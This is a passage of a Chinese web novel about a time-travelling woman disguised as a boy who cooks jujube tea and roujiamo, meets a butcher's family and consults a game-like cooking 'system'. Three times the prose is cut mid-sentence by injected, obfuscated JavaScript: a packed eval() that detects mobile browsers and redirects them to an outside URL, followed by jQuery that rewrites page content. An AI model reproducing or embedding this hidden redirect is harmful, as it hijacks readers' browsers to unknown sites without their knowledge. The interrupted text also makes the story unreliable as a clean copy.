尚宅其实占地不小，但因家中人口不多，且无多余资金定期修缮，委住于西厢房的孟奶奶现在正在刘婶和王婆的相陪下，拿着一块成色油亮的麻布绣着荷包。 刘婶刚纳好一只婴儿鞋的鞋底，伸头去看了一眼尚孟氏手上的荷包，好奇地问道：“孟姐姐，你这怎的在绣女儿家喜欢的并蒂莲啊？大公子有心上人了？” 孟奶奶笑了笑，摇摇头，说：“怀真他年纪也不小了，现在又有一手好厨艺可以养活自己，我这个当奶奶的老了，没办法为他操持一门好的婚事，只能多绣些好看的物件，让他遇见喜欢的姑娘能有物趁手。” 双眼看近物早已模糊的王婆在炕桌上煨着茶，闻言笑开了怀，道：“你家牛蛋都还没开窍呢，我记得上次他去学堂之前，街尾有个女娃子给他送了一袋烙饼，他傻乎乎地接过去就吃了，啥都没跟人女娃子说，连个招呼也不打就走了。我猜他那会估计还以为是妹妹你托人去给他带饼的呢，人女娃子现在都准备议亲了。” 刘婶笑得前仰后合，八卦之心瞬间上来了，忙问道：“后来呢？王姐你怎的知道这事？” “后来那女娃子不肯议亲，一直等呀等，等到牛蛋回来两趟，还多日没去找过她，方死了这个心，放弃了。我毕竟也是这条街上的老人了，认识的人到底多些，她家祖母就来问我哪家有条件不错的适龄儿郎可以给她参谋一下。”王婆喝了一口热茶，好笑且无奈地摇了摇头。 “倒是件趣事，孟姐姐呀，你真该先给你家大公子说个婆娘，牛蛋他自然就开窍了。”刘婶擦了擦眼角乐出的泪，收了笑，认真说道。 孟奶奶绣着花的手顿了顿，笑说：“他们年轻人的事，我怎做得了主，现下这家境也怕辜负了别人家的好姑娘，顺其自然罢。” 刘婶还想怂恿两句，见尚孟氏的脸上似乎有一层阴霾，便收住了话口，也笑道：“那妹妹我先帮你留意着，哪日牛蛋出息了，你有想法了，我再往有好姑娘的人家里举荐举荐。” - 睡醒午觉起来，精神饱满的尚怀真站在厨房里，正琢磨着要做杯什么来当下午茶解解渴，完全不知道有几个老人正在议论着自己呢。哦，不对，是议论着曾经的牛蛋。 厨房挨着偏厅，隔墙处围了一口水井，水井旁种着一颗枣树，尚怀真拿着一根木柴，站在树下看了看地上零星几个已经熟透焉掉的枣子，抬头又望去，只见树上还有许多即将红透的熟果。 她打了一个下来，咬了一口，汁水瞬间溢满口腔，清甜不腻。 “嗯，看来今年气候不怎么样嘛，这青枣到现在居然还在结果。”她满意地又打下来了几个，虽然比自己喜爱的冬枣涩一点，但既然能熬到现在，那就勉强把你们当作冬枣吧！ 现在没有榨汁机，剁碎的话费果又费时，尚怀真想了想，回房间拿出来了小半饼从便宜老爹处顺来的阳羡茶叶，先烧起火来将茶叶炒熟，再给三颗青枣洗净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405580|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，对半切开去核后，把炒熟的茶叶塞入枣中，将一根小木棒削尖，固定住内藏乾坤的枣，然后放在一口大的汤碗里，架在最小的灶口上，加入刚好让青枣浮起来的水量，大火烘出茶味。 煮出茶色后，再换小火慢造，将枣的香甜完完全全炖出来。不多时，青枣就被炖得熟透软烂，用笊篱将其捞出，切成小片铺在簸箕上，过一会拿出去晒干。 尚怀真见没有长形的杯子，只好拿装筷子的木桶来充当饮料杯。她在汤碗里舀起一口尝了一下，枣甜中带有一丝绿茶的甘香，中和掉了可能会过腻的甜，虽然勉强算得上甘甜可口，但口感上还是比预想中差些。 一边喝着，一边还叫了两声“青枣汁”，等了好一会，见系统还没反应，也不知是品质不行还是这个不在菜品目录里，她沮丧地叹了口气，将手上的木桶装满就准备出门去了。 刚把簸箕端到院中光秃秃的花基上，就见三位老人从孟奶奶的房里有说有笑地走了出来，尚怀真想到厨房里剩下的青枣汁，忙大叫一声：“阿奶！” 孟奶奶循声望去，那个可爱的孩子在已经有了一些金黄余晖的阳光下招着手，笑容盈满脸庞，双眼晶亮亮地看着自己。她先前维持礼貌的笑容现下也终于有了笑意，在刘婶的搀扶下快步走了过去。 “牛蛋，叫阿奶来什么事呀？” 尚怀真给旁边的王婆和刘婶打了声招呼后，说道：“我现在准备上街市里买点食材，刚，适才在厨房里做了些青枣汁，您们可以去尝一下。阿奶您今晚想吃什么，我去买回来给您做。” 王婆和刘婶听到又有好吃的，眼睛登时亮了一下，突然就觉得眼前这位小郎君看上去简直眉目清秀、一表人才，要多好看就有多好看。 孟奶奶欣慰地笑道：“好孩子，你想吃什么就买什么，阿奶不打紧的，你做的阿奶都爱吃。” 说罢，她看到尚怀真冻红的手，忙从怀里拿出一个绣好的荷包，递过去，道：“这个荷包你拿好，往后你要经常用到钱，那铜钱整日里贴身带着不方便且容易遗失，袋起来比较好。还有，去街上看到有趁手的手衣，要记得买一双。” 尚怀真看着荷包上那并不流畅的针脚，本应尖尖的荷花叶呈现出可爱的圆角，看着倒像是小孩子画的太阳花。她愣了愣，想到了自己的奶奶，鼻子又开始发酸了，问道：“阿奶，这是你自己亲手绣的吗？” 刘婶和王婆见这个不是适才尚孟氏绣的那只并蒂莲，相视一笑。将荷包拿起放到尚怀真的手中，刘婶笑说：“可不是嘛，你阿奶绣这个都没休息过，你快拿好去用吧。” 尚怀真快速地眨了两下眼，将手中的荷包仅仅撰住，笑道：“谢谢阿奶，我很喜欢。今晚就等我给您大展身手吧！” 目送了三位老人离开，她摊开掌心，看着手中的荷包，心中默念道：“对不起，牛蛋，剽窃了你的幸福。只要她把我当成家人，我也一定会把她当作我的亲奶奶一样孝顺。” 脑海中闪过小时候和奶奶生活时的一点一滴，尚怀真闭眼揉了揉眼角，抬头看了下天色，便加快步伐出门去了。 5. 肉夹馍（一） 从尚宅出来不远，往南穿过一条巷子，步下一段阶梯后，就到了城南的市集。 这里和永兴面馆所在的邑阳街不同，那边的街上管理有序，大多都是些经营酒馆客栈、衣钗玉石的中大型店铺，这里则挤满了小摊位，贩夫走卒在路上来来往往，肉档和菜摊分列两边，被人挑剩的菜叶随意丢在路中间，一些衣衫褴褛的人，趁无人注意，快速蹿出去将残菜烂叶捡起来后，又重新隐匿回人群中。 尚怀真不得不感叹，在贫富差距这块，从古到今，都是最难解决的问题。才隔了一片住宅区，南北街道的悬殊就如此之大了。 她慢腾腾地在南市的街道上走着，好奇地看着这个时代有哪些农作物。 白菜、萝卜、菠菜……现代里常吃的，这边居然都有。又往肉档那儿逛了一轮，除了寻常的鸡鸭鹅以及猪肉外，还有几家卖驴肉羊肉的，可惜那挂牌价格，一看就是自己买不起的食材。 尚怀真对比了一下，正准备在一家档口买几两猪肉，突然一道清脆的女声叫住了她。 “牛蛋哥！你回来了。” 尚怀真下意识转头去看，反应过来的时候又下意识地想给自己一巴掌，心道：“我怕不是傻子吧，还真把自己当牛蛋了。要真遇到熟人，一问三不知该怎么办？” 思及此，她连忙用手挠着耳朵，装作被蚊子咬了一般回过头来，刚想溜之大吉，衣袖就被人抓住了。 “牛蛋哥，你回来了怎的都不来找我，我阿娘都要逼着我出嫁了。”一个比尚怀真矮大半个头，提着一纸点心，穿着麻布襦裙，腰系青色腰带，披着棉织披风的少女泫然欲泣，嘟着嘴问道。 尚怀真看着少女那也用青色头绳扎起来的两个小啾啾，一边觉得很可爱，一边又感到很尴尬，心里不断叫嚣着：“这是牛蛋的朋友还是相好啊啊啊？！” 她能感觉到自己此时肯定笑得比哭还难看，小心翼翼地把袖子抽出来，讷讷地说道：“小妹妹，有没有可能你认错人了呢，哈哈。” “不可能，咱城南街里，就属牛蛋哥你最好看！”小姑娘信誓旦旦地说完，旋即脸红了起来，低下头又道：“在我心里面。” 尚怀真打量了一眼小姑娘虽普通但暖和的穿着，又打量了一下自己身上的补丁，心里啧啧地摇了摇头，面上装作很悲伤的样子，叹了口气，道：“不好意思啊小妹妹，我前阵子发了好几天的高烧，病好后就不大记得起从前的事了，连阿奶和爹爹，都花了好几天才想起来。” “啊？不是吧！那你现在还有哪里不舒服吗？”小姑娘扯起尚怀真的左手看了看，围着她绕了一圈，又扯起她右手看了看。 尚怀真被这小姑娘的举动逗乐了，不自禁地摸了摸她团团转的头，笑道：“没事啦，除了记不起事情，其他都好了。你叫什么名字呀？” 还在担忧着尚怀真伤势的小姑娘就差没去摸她的脸了，头顶突然被一只大手抚住，整个人羞地差点跳起来，脸从耳根红到脖子，捂着脸扭捏道：“我是翠翠呀，不过爹说我明年及笄后就要嫁人了，该有个正经名字，好不让夫家欺负了去，现在我叫薛秋华了。牛蛋哥你还是可以叫我翠翠的，别人可不行哦。” 尚怀真听完有些哭笑不得，这小姑娘内心戏咋这么多，不过心底里倒是有些羡慕她的，被家里人疼爱着长大的孩子才能这般活泼直爽，敢爱敢恨吧。 “好呢，我以后还是叫你秋华吧，好听。你以后也叫我怀真吧。”她笑道。 “好的呀，牛，怀真哥，你这是要去买肉吗？”薛秋华开心地甜甜一笑，看了看尚怀真身旁的肉档，问道。 “对呀，今日我和奶奶卖了不少面，累惨了，来买点肉补一补。”尚怀真点点头。 “哎呀，我家就是开肉铺的呀，你怎…哦，对了，你都不记得了。怀真哥，你跟我来吧，我让爹给你割两斤肉。”薛秋华心直口快地说着，突然想到尚怀真连自己是谁都不记得了，抱歉地吐了吐舌，爽快道。 尚怀真听此，一只脚踏了出去，另一只脚又被理智固定在原处，心里警钟大响：“怎么办？好吸引！去了以后肯定会被这个小姑娘缠上，不去又要花好多钱。呜呜呜，在线求助！” 刚走出去两步的薛秋华见后面的人愣在原地没跟上，又折返回来，拉着尚怀真的袖子一边往前走，一边说道：“怀真哥？快来呀！你不要害怕，我爹还是很好相处的，况且孟奶奶从前也帮衬了我们家不少呢。” “好吧！反正那样的家庭也不会让自己的女儿和我这种穷‘小子’走太近的，管他呢，能省则省！”尚怀真心想着，抿了抿唇，亦步亦趋地跟着薛秋华，泛光的眼睛出卖了她贪财的小心思。 穿过前段的菜肉小摊一条街，中段则多了许多有门面的米铺、成衣铺等。 薛秋华领着尚怀真，一路叽叽喳喳，还买了两个糖人塞给她，这才走到一家肉铺前，回头道：“这就是我家的肉铺啦，因为在邑阳街和东兴街里都有店面，这边就是作仓库用以及低价售卖一些白天没卖完的肉，所以平常我爹爹很少会在这里。今日恰好那边的店里售罄得比较早，爹爹早早就回来了，他那一手烙饼做得可好吃了！我一会拿两张给你尝尝。” 尚怀真抬头看了一眼写着“瑞盈肉斋”四个字的牌匾，心觉倒还怪文雅的，了然地点了点头，跟着薛秋华走了进去。 里间左右两边各放着一架挂肉的长木架，此时挂钩上已空无一物，只桌面的砧板上还残留着一些尚未来得及清理的肉碎肥油，看来生意还是很不错的。 正在柜台处拨着算盘的精瘦老人，听到脚步声抬眼看了看，立马佝着身迎了出来，对着薛秋华笑道：“三小姐，您回来了。” “嗯，陈伯，爹娘他们都在院里吗？”薛秋华把老人搀扶起来，也笑着问道。 “在的在的，您出门这会，他们一直在后院呢。小姐您要用茶吗？”陈伯谢过，看了一眼薛秋华身后的男子，问道。 “不用啦，您去忙吧。” 薛秋华看着陈伯的目光，脸红了红，说完，拉着尚怀真从柜台后边的门口处进入后院。 走在抄手游廊上，还没来得及观察周围景色，尚怀真敏感的小鼻子就闻到了一股淡淡的焦香味。 薛秋华把尚怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405581|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真带到会客的正厅，亲自给她倒了一杯茶，说：“这后院有几间小屋是专门给我家肉铺的雇工住的，爹爹有时候回来得早，会来这里给他们烙饼做菜吃，怀真哥你先在这儿坐一会，我过去厨房里给你拿肉。” “辛苦你了，秋华。”尚怀真目送薛秋华的背影离开后，心不在焉地打量着眼前这间规模不大却装修精致的堂屋，还在想着今晚要做什么吃。 萦绕在鼻端的饼香越来越浓，她突然想到：“肉…烙饼…对了！可以做肉夹馍呀！把猪肉剁碎，夹入烤好的饼中，外面的饼既能饱腹，里面的肉又能解腻增香，而且饼多肉少，成本高低可以控制，普通人能吃得起，吃惯珍味的富贵人家或许也会觉得新奇。” 她正兀自美美地想着，丝毫没留意到眼睛有点红肿的薛秋华带着一对中年夫妻走了进来。 “尚小公子，许久未见。”薛父走到主位上坐下，招呼了一声。 见尚怀真没反应，薛秋华看了一眼爹爹的脸色，走过去拉了拉她的衣袖。 尚怀真惊得连忙站起行礼，恭敬地道：“薛伯父，伯母。” 薛父点点头，看着对方越发精致的眉眼，淡笑着问道：“不必客气，快坐吧。你何时回来的？可有去考科举的打算？你爹奶近来可好吗？” 尚怀真悄悄打量了薛父两眼，只觉其通身气派威严文雅，不知道的话还以为身上背着一官半职，完全看不出来是一个屠户。 她不禁端正坐姿，小心答道：“回来好一些日子了，只是前段时间大病一场，方愈不久，没来得及拜访伯父伯母，家父祖母目前身体康健，我资质愚钝，只求多识两个字，不敢妄想科举入仕。” 尚怀真从来没想过自己居然能说出这么文绉绉的话来，被冷汗浸湿的后背，让她惊叹强大的气场果然能硬控他人。 坐在一旁的薛母闻此皱了皱眉，小声喝了还站在尚怀真身旁的薛秋华一声，让她赶紧回坐到自己身边。 薛父没有理会母女俩的小动作，喝了一口热茶，道：“你此番进学回来看着倒是稳重了些，门外包裹好了两斤猪肉和一斤羊肉，还有一袋烙饼，你一会拿回家去吧，替伯父问候一下你爹奶。” 尚怀真简直想跪下抱着这位大叔的大腿了，完全没有因被看不起而升起的气愤窘迫。 “哇天，不喜欢我还能这么大方，薛大叔，你简直就是我的神！”那可是二百四十文钱啊，普通人家一个月的工资了！这不是等于送粮又送钱吗！她心里简直乐开了花，表面上还得极力控制表情，感激地道：“多谢伯父，祝伯父生意兴隆，财源滚滚。” 居然连推拒一下都不会，一旁的薛母被尚怀真的举动气笑了，忙看向薛父道：“官人……” 薛父摆了摆手，制止了薛母未尽的话，对尚怀真道：“天色也不早了，伯父就不留你用饭了，你且快回家去吧。” 尚怀真不好意思地挠挠头，再次感谢了一番，说：“无功不受禄，伯父伯母不嫌弃的话，不妨到我家里尝一下我做的肉夹馍？” 一直被薛母盯着无比憋屈的薛秋华听到这，兴奋地问：“肉夹馍？” 6. 肉夹馍（二） 被拒绝后，遗憾地留下句让他们择日可以到永兴面馆来免费用餐的邀请后，尚怀真就在薛秋华一步三回头的不舍下离开了瑞盈肉斋。 本来是想让他们本土居民先尝尝咸淡好给自己提一些改进意见的，不过快到饭点了才从自己家到别人家里做客，就算说是被邀请的，好像也不太合适。 尚怀真理解地点点头，并不觉得是因为自己的问题而被拒绝了，即使薛母那努力克制却依然藏不住的嫌弃溢满脸庞。 这些人真的是游戏NPC吗？与自己有瓜葛的主要人物就算了，一些配角的情绪居然都如此强烈生动。 尚怀真想不明白，但很快这种不解就在疯狂的购物中消散了。 果然，花钱买所爱和放纵吃美食是情绪价值的最好来源。 回到自家厨房，因为肉夹馍里的肉要炖一两个小时才能软烂入味，所以尚怀真先做了两碗青菜面给孟奶奶和便宜老爹慰问过五脏庙后，才一边啃着薛父送的烙饼，一边开始备肉。 八角、桂皮、小茴香……虽然走了好几家药材店才好不容易集齐这些香料，但还是很庆幸物料的齐全给自己省去了许多麻烦，她甚至还发现这边暂时没有五香粉的出现，等肉夹馍上线了，以后就可以顺带售卖五香粉了。 一想到可能会成为后世伟大香料之一的创始人，尚怀真脑海里就浮想联翩，脸上那笑容想收都收不起来。 咬下一口饼回到现实，还别说，手中这烙饼外焦里嫩，粉软缠牙，虽然不够酥脆，但淀粉中没被破坏掉的韧性在舌尖上溶出米甜，那薛伯父确实是烤得一手好饼！ 尚怀真快速地将烙饼吃完，把半斤五花肉皮上的油泥猪毛刮去后，切成大块，往冷水中加入葱姜料酒后放入切好的肉焯熟，没一会便已经有了一点肉香，捞起并冲洗掉肉面的浮沫后放在一旁备用。接下来在还热着的锅上再接再厉，放入等量的白糖清水，用中小火搅拌出枣红色时，倒入刚刚放在一旁的肉块煸炒上色，加入没过肉块的水，再放入分配好的香料后，先大火烧开焖一会出香。 因为没有老抽，在焖香的期间，她到旁边炒了点熟酱油，再将其与适量的生抽、盐等加入锅中，转小火开始慢炖。 这次因为肉量少，天色也比较晚了，尚怀真不打算炖太久，走出厨房看了看小型日晷，推测了一下大致的时间，就到院子里去，想收起下午拿出来晒的青枣，一会可以泡一颗来配着肉夹馍吃。 刚走到花基旁，只见簸箕已经不见了，孟奶奶的房门大开着，她想了想，走过去敲了敲门。 “牛蛋吗？快进来吧。”孟奶奶的声音自屋内响起。 尚怀真探头看了看，只见孟奶奶正在帮她把晒干的青枣用一个小盒子装起来，她好奇地走进去，问：“阿奶，您在干嘛呀？” “阿奶见你平日里好似不爱喝茶，你今日做的青枣汁阿奶和王婆她们都很喜欢，就帮你把这些晒好的枣干装起来，你一会拿回去放在房中，歇息起来想喝点甜口的时候就不用再跑去厨里做了。”孟奶奶把一个精致的木质锦盒递给尚怀真，慈爱地笑道。 尚怀真看向那木质锦盒，上刻蟠桃云纹，工笔精致，线条优美，光这手艺感觉就值不少钱，她连忙摆手拒绝道：“阿奶，您既然喜欢，这盒就留在您房里用吧，我随便拿个器具装一点就好。” “好孩子，你长大了，现在开始永兴面馆便要慢慢交给你来打理了，以后你还要常常与人交谈接触，总不能失礼于人前。这个锦盒并不值几钱，往后阿奶还会给你更多好物件，你要学会坦然接受，记住这些都是自己应得的。”孟奶奶不容分说地将锦盒塞到尚怀真手里，在她的搀扶下坐在炕桌上说道。 能得到他人的信任和偏爱真的是一件很幸福的事啊！ 尚怀真感动地抱住孟奶奶，真心实意地道了声谢谢。 被抱住的孟奶奶愣住了，过了许久才轻轻拍打着尚怀真的肩，泪水已将她浑浊的双眼浸湿，她语带哽咽地道：“好孩子，好孩子，都是一家人，不用谢。” 尚怀真听到孟奶奶声音里的沙哑，才反应了过来自己这下意识的行为在古代是特别逾矩的，忙不好意思地松开后半蹲下仰头对老人家说：“那阿奶，我会努力做出更多菜样，努力赚好多好多钱给您建个大房子住。” 孟奶奶侧过头，用宽大的衣袖掩盖着擦了擦泪水，温和地看着眼前的人，微笑道：“好呀，阿奶就等着那一天了。你呀，今日在家里便算了，到了外边，可千万不能再一高兴就抱住别人了。” 尚怀真乖巧应是，傻笑着挠了挠头，见孟奶奶面露一丝疲态，忙道：“阿奶您先休息一会，肉夹馍应该快好了，我一会叫上父亲过来，咱们一家三口一起用了您再休息，腹中饱暖，睡得更香。” 见孟奶奶点了点头，尚怀真直奔厨房，刚走进去，就见一个不速之客正要揭开自己的锅盖。 “李修阙！”她叫停对方，没好气地说：“你没听说过不问自取即为盗吗？” 李修阙听到声音瞬间凝起的眉头，在见到来人时舒展开来，痞痞地笑道：“被抓住的才叫盗，没被抓住的那叫老天爷赏饭吃。” 尚怀真对着他真是无奈又无语，居然比自己脸皮还厚，不禁轻笑了一声，说：“说得那么自信，现在不也被我抓住了？焖煮时间还不够，你不想肉失其味，就乖乖地离我的锅远一点。” 李修阙从善如流地走到尚怀真身边，探究地感受了一下她身上的气息，问道：“你呼吸沉重，吐纳无序，看着不像是有内力的样子，为何走路会没声音？就算我被你那锅肉迷住了，也不可能听不到凡人的脚步声。你会武功？” 尚怀真听到李修阙的肚子咕噜噜叫了几声，作势般地挥出两拳，看着小美男跟自己拉开的距离，哈哈笑了几声，道：“手脚功夫可能还会两下，要是真会武功的话适才都不用和你打招呼，一脚就把你踹飞了，我看是你肚子太饿了导致耳朵也失灵了吧。” 李修阙半信半疑地看着尚怀真，见她真的对自己没敌意，要去弄饭食时，才放下心来，又贱兮兮地凑上前去，说：“我可不是吃白食的，给钱捧场又帮忙，还当你的好兄弟，怀真弟，你真的舍得把这般玉树临风的为兄我踹飞吗？” 尚怀真正架起火准备把烙饼煎热，一听这话鸡皮疙瘩都起来了，要不是现在女扮男装，她都怀疑自己迟早要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405582|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他骗嫁回家当厨娘。 用筷子打掉他悄悄伸去想拿烙饼的手，说：“别用这种小媳妇的语气跟我说话，渗人！去那边帮我把胡荽和白菘洗净切碎。” 因为现在这个朝代没有青椒，黄瓜又不是冬季产物，所以只好拿白菜来解腻了，也不知道味道怎样。尚怀真看了一眼乖乖听话，正在切着菜的李修阙，感叹了一句：“做饭时候的男人最帅，抖某诚不欺我。” “帅？抖某是谁？”李修阙不解地侧过头来问道。 尚怀真看着他那呆萌的可爱模样，忍住想上去rua两把的冲动，擦了擦嘴角不存在的口水，脸尴尬一红，答道：“夸你的意思，那是我一个同窗，就你耳朵灵，快干活吧。” 李修阙哦了一声，耸耸肩，就继续弄菜了。 尚怀真也收起胡思乱想，将肉锅底下的火添柴加大收点汁，使更好地锁住味道，热好的烙饼放在竹篮上后，停火揭盖，扑鼻的肉香迅速盈满厨房。 看着那颤颤巍巍果冻般的五花肉，她满意地点点头，刚想捞起来，旁边就多了一颗毛茸茸的头。 “怀真，这…这太香了，可不可以先夹一块肉起来给我尝尝？”李修阙闻到香味，一个健步冲了过来，蹲在灶台边上，目不转睛地盯着在汤汁里跳舞的肉，不争气地抹着嘴巴。 “不着急，这要夹饼里才更好吃。”尚怀真笑了笑，示意李修阙到旁边坐一会后，将捞起的五花肉压扁切碎，再放入一些他刚刚弄好的菜碎，把烙饼中间切开一个口子，夹入满满当当的碎肉，淋上肉汤，递过去。 “诺，尝下味道如何？” 李修阙简直忍不了一点了，接过后就不顾形象地大口往嘴里塞。唔，碎肉随着汤汁溢入口腔，浓浓的肉味包裹着焦香的饼，饼的软糯解了肉的厚重，肥而不腻，入口即化，简直好吃到停不下来。 还没等尚怀真夹好剩下的饼，他就已经吃完了，想再要一个又不敢开口，可怜兮兮地看着对方手上的竹篮。 弄好剩下的三个肉夹馍后，尚怀真看到李修阙的眼神，好笑地说：“这个不好消化，晚上不能吃多，一会我过去和爹奶他们一起品用，你还饿的话锅里剩下的肉汤可以拿去浇个面，我晚些再回来收拾。适才那个肉夹馍你觉得味道如何？” 李修阙开心地点点头，回想了一下，说：“好吃！就是感觉饼薄了些，也不够酥脆，不能很好地解去肉的黏腻，嚼开后稍稍有些黏口感，脆一点应该会更好。不过已经很好吃了，我很喜欢。” 尚怀真沉思了一下，点点头，感谢地笑道：“谢谢你的提议，我先过去了。” 那刚中带柔的笑容中竟有一丝女子的甜美，让李修阙愣了愣。 到旁边叫上便宜老爹后，尚怀真来到了孟奶奶的房里，说说笑笑地吃完了一个肉夹馍，系统的声音依旧没有响起。 难道是用别人做的饼皮来完成不算自己的作品？她叹了口气，想着只好明天早点起来，自己和面烙饼再尝试一次了。 十里八乡有早早睡下却被这肉香害得翻来覆去的人心想：“我有罪的话，请用律法制裁我，而不是在这种深更半夜的时候用美食来诱惑我！” 7. 肉夹馍（三） 【叮咚！恭喜玩家成功解锁《天机食经》菜品——肉夹馍，此次解锁品质为优品，获得二十烹饪币。请问玩家现在需要进入精神庄园吗？】 结合了三个人的意见以及自己的口感，没完成心里未竟之事而睡不踏实的尚怀真早早就起来了。 昨天收获了一袋烙饼，想着在这种天气下，用凉水棉布等辅助保鲜，没吃完的应该还能再放个两三天，就可以给自己省点事了，哪曾想这破系统真不给力。 因为没有可以解放双手的烤箱，第一次很可能会把馍烤糊烧硬，所以她决定先单独把饼馍做好后再炖肉，也方便中午的时候拿去永兴面馆售卖。 还好现在家家户户基本都会做馒头吃，面粉啥的总会备有一些的。拿出家里不多的存货，尚怀真撸起袖子就开干。 加糖入油，搅拌揉团，醒发排气，再切成一个个小剂卷成饼坯，擀圆后便将灶锅预热好，准备开始尝试。 第一次，饼烤焦了；第二次，鼓得太厉害；第三次，烤硬了……终于，在烤了八次浪费了数个饼馍后，第九次做出了微微膨起且按压会迅速回弹的白吉馍！ 尚怀真高兴地咬了一口，那满足的表情就差喜极而泣了。所谓苦尽甘来，原来汗水的味道是甜的！ 让便宜老爹帮忙去市集里再买一些面粉酒酵，将一小篮烤好的白吉馍给孟奶奶带去街上试试风向标后，她便又重新开始炖肉了。 这次调整了一下香料的配比，增长了慢炖的时间，果不其然，将香喷喷的碎肉夹入馍中的一刻，系统的声音登时就响了起来。 “需要！”尚怀真迫不及待地回答道。 【此次进入系统的时间为二十分钟，请玩家合理安排。】 一眨眼后，眼前的小庄园里还是那般空寂无人，那只会说话的招财猫坐在茅草屋的门口乘凉，憨态可掬。尚怀真忙问：“老咪，为什么这次又有二十分钟了？要怎样才能自由唤出系统？” 【第一次解锁良品菜目可获得十分钟进入系统的时间，优品增至二十分钟，极品则为三十分钟，每解锁十道极品菜目可增加一小时，《天机食经》菜品解锁过半后，便能自由唤出系统，查看菜目。另外，每解锁十道优品菜目可开垦一片荒田，六片荒田全部开垦后玩家将获得三个锦囊，每个锦囊内有不同的奖励，兑换时间由玩家自定。】 老咪打了个哈欠，一直笑眯眯的眼睛睁开了一点，看了一眼尚怀真后，说完又变回那副人畜无害的样子。 尚怀真理顺了一下思路，又问：“这本食经上收录的都是些地方名菜吗？为什么我做青枣汁和青菜面不见系统有反应？” 【可以这么理解吧，还有一些烹饪方法难以炮制或富有创意的菜品也会被收录。】 “也会？难道这鬼东西还会更新？” 看着尚怀真震惊的模样，老咪嘻嘻笑了几声，那弯弯的嘴角从两边一起咧到后耳根，简直诡异又渗人。 【既然能让你穿越，还有什么是不可能的呢？不过你只要完成上面已收录的菜品就可以了。】 尚怀真叹了口气，走上前去点开老咪头上的“商城”，看着底下金额栏那从零变成二十的数字，以及少数几个亮起来的按钮，心情稍微变好了一点。 上次时间太赶没来得及细看，这次翻看了一下，除了什么玉米、茄子之类在现实里也能买到的外，还有一些打着“？”号的按钮依旧灰溜溜地躺着。 “为啥商城里还会有隐藏商品？”她点了两下见没有相关介绍跳出来，好奇地问道。 【有些需要完成特定支线以及特定菜品后才会解锁。】 “啊？那就是说我现在遇到的人都是NPC？但是为何他们的情绪会这般逼真？”尚怀真脑子又开始混乱了，每次进系统都要重塑认知，让她感觉小脑都要被榨干了。 【不是哦，他们都是有血有肉的。总之你且记得“假作真时真亦假”，当作重生一般去体验这次的人生就可以了。时间不多了，请玩家认真考虑一下是否需要种植菜品。】 尚怀真只好无奈地点点头，花十八枚烹饪币买了青椒种子种下后，知道老咪会负责平日的养护和采摘，就回到现实里去了。 没过多久，将剩下的饼坯烤完后，刚把卤好的肉以及汤汁用陶罐装起来，孟奶奶就提着空篮子兴高采烈地走了进来。 “牛蛋，街里乡亲都很喜欢你烤的这个饼，纷纷问我你一会是不是又要推出新品了，连街尾的薛二郎也说要来捧场。” “薛二郎？是瑞盈肉斋的老板吗？”尚怀真也有些受宠若惊，其实她当时邀请薛秋华一家来尝试肉夹馍，另外一个想法就是想让他们认可自己的手艺，然后促成合作，自己可以从他们那边长期拿到低价肉，永兴面馆也可以挂牌食材供应商，给瑞盈肉斋带去人流。 原以为这个想法会泡汤呢，没想到瞌睡就送来了枕头。 孟奶奶点了点头，面露可惜之色，道：“薛家二郎当时可是闻名一方的小秀才公呢，只是他家里资源都砸在了大郎身上，薛老夫人又偏爱幺儿，所以他早早就分家出来自谋出路了……且不说这些，今日卖这个肉夹馍的话，还要卖阳春面吗？” 怪不得那一身气质与众不同。尚怀真感慨地想着，将孟奶奶搀扶到身边，亲自弄了一个肉夹馍给她看，说：“自然是要卖的。这个肉夹馍的做法很简单，只要先将热好的饼中间开一个口子，把我卤好的这些肉夹进去，再淋上汤汁就可以啦，阿奶您也可以做的。不过卖出去的这个肉不用塞太满，到饼边这样就差不多了。” 孟奶奶认真地看完，在尚怀真的指导下自己做了一个，得到她的认可后松了一口气，笑道：“那阿奶今日也可以给你帮忙了。” - 永兴面馆前，尚家三口子刚从破败的客栈里把桌椅拿出来摆到外面，刘婶就带着一群人来提前占位置了。 “好姐姐，昨夜里闻到肉香，妹妹我就猜到，定是你家牛蛋又在捣鼓啥吃食了。这不，就连隔壁街的陈伯李叔，我都帮你们带来了，一会你得跟你家大公子说一声，给我多记两份优惠哈，我家那皮猴子整日里都叫唤着要吃阳春面呢。”刘婶见尚孟氏放下一张长凳后，坐在上面歇息，忙走上前去挽着她，低声道。 孟奶奶揩了一把汗，看了看围在面馆前张望的人群，笑道：“那是自然的，给妹妹你的绝对是独一份。” 